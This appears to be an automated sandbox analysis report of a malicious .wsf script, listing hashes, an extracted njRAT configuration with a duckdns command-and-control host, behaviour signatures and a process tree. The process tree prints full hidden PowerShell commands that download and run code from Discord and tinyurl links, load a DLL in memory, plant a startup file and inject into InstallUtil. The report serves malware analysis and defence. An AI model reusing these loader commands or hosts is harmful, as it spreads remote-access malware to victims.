Analysis
-
max time kernel
142s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
06/10/2022, 22:00
Static task
static1
Behavioral task
behavioral1
Sample
c5d249498462540b2e9d9280343f3292.wsf
Resource
win7-20220901-en
General
-
Target
c5d249498462540b2e9d9280343f3292.wsf
-
Size
53KB
-
MD5
c5d249498462540b2e9d9280343f3292
-
SHA1
32bf4154e274eb9e09169cd52093713816d02481
-
SHA256
31482a83f3cbb75af81d1fb11e190343dc635d69e767da83d0bb55eabe0244f0
-
SHA512
f57fe84b2dd03455b26ea8e76516721770e9b571480365a99a19701d9137737230c144ee15ebce460d8f37a32afa2a00e88ef56ea90b9e1909869089fcaa1d98
-
SSDEEP
192:L48w8Nlb0bqGW6CCCuqpSB48w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqXwSb0cJzwSb0cJR
Malware Config
Extracted
https://tinyurl.com/2erph6cs
Extracted
njrat
0.7NC
NYAN CAT
wins0310ok.duckdns.org:8000
2a624df8c6c4469
-
reg_key
2a624df8c6c4469
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 8 4356 powershell.exe 14 2468 powershell.exe 15 2468 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ییခا.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ییခا.vbs powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2468 set thread context of 3716 2468 powershell.exe 94 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings explorer.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4356 powershell.exe 4356 powershell.exe 4444 powershell.exe 4444 powershell.exe 2468 powershell.exe 2468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 36 IoCs
description pid Process Token: SeDebugPrivilege 4356 powershell.exe Token: SeDebugPrivilege 4444 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe Token: 33 3716 InstallUtil.exe Token: SeIncBasePriorityPrivilege 3716 InstallUtil.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4900 wrote to memory of 4356 4900 WScript.exe 83 PID 4900 wrote to memory of 4356 4900 WScript.exe 83 PID 4356 wrote to memory of 1964 4356 powershell.exe 85 PID 4356 wrote to memory of 1964 4356 powershell.exe 85 PID 4564 wrote to memory of 1316 4564 explorer.exe 87 PID 4564 wrote to memory of 1316 4564 explorer.exe 87 PID 1316 wrote to memory of 4444 1316 WScript.exe 88 PID 1316 wrote to memory of 4444 1316 WScript.exe 88 PID 4444 wrote to memory of 2468 4444 powershell.exe 92 PID 4444 wrote to memory of 2468 4444 powershell.exe 92 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94 PID 2468 wrote to memory of 3716 2468 powershell.exe 94
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c5d249498462540b2e9d9280343f3292.wsf"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027643430551158908/8.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ÛŒÛŒá€Ø§.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ÛŒÛŒá€Ø§.wsf');Start-Sleep 1;rm *.pif,*.uue2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs3⤵PID:1964
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCsAK8A+gDwAOQAugDXAOQAJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMAAwADAAOAB0AGMAbwAzADAALwA2ADEANgAzADIANAAxADAAOQA5ADEANAA2ADcANQA2ADIAMAAxAC8AMgAzADQANgA2ADAAMQA5ADQAOAA3ADYANQA3AD⌚⌚⌚ANgAyADAAMQAvAHMAdABuAG⌚⌚⌚AbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACQA⌚⌚⌚gBvAGQAYQBDAG8AcAB5ACAALAAgACcAzAbMBgEQJwYnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('¬¯úðäº×ä', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\nLeNPdi.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco30/6163241099146756201/2346601948765756201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'ییခا' ))"4⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3716
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
-
Filesize
1KB
MD5d65d5729810e777c618132ea705c1f14
SHA1c0df1e6c8a70b39b8db337f84e7e9398bc9f6a9e
SHA25651262a3776b88451b2843a41f185425c1626b1f749f8c10cc8ef243985bef27e
SHA5128cab4719c12091d99f72c4307619fb7ab31854e81cc3c23304bf650698cb2d0cd00ca03f1e1b2065606dc4f5e28ad272bbc2acdc3383a6eba39d75777e9059f7
-
Filesize
217KB
MD551f4179655580184434c7a30d3cb842f
SHA1cc0d4c9fae0e3ef4e951dd43db00e3cfb3403b60
SHA256233f64beec6c3cb039a1d0f2298bd169643db6a59bbf9abc9d05b26a3b985290
SHA5125e3cd952d81be643840bcaa42c1a86af4ad9dc74706a6fb154b14d4bf8bc790277f1c5107c3e6ca9f385890152b2a79cd331eb62a43f6ce801e2d14bfbd8e764